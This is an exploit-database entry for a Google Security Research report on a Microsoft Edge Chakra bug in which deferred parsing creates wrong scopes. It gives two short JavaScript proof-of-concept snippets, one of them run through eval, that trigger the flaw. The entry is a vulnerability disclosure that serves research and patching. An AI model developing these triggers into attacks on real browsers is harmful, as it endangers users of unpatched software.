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Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes (2)

🗓️ 17 Jan 2018 00:00:00Reported by Google Security ResearchType 
exploitdb
 exploitdb
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Microsoft Edge Chakra Deferred Parsing Issu

Code
/*
Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to  issue 1310 .

PoC:
*/

// Enable the flag using '\n'.repeat(0x1000)
eval(`(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());` + '\n'.repeat(0x1000));

PoC 2:
// ./ch poc.js -ForceDeferParse
(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());

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17 Jan 2018 00:00Current
7.4High risk
Vulners AI Score7.4
19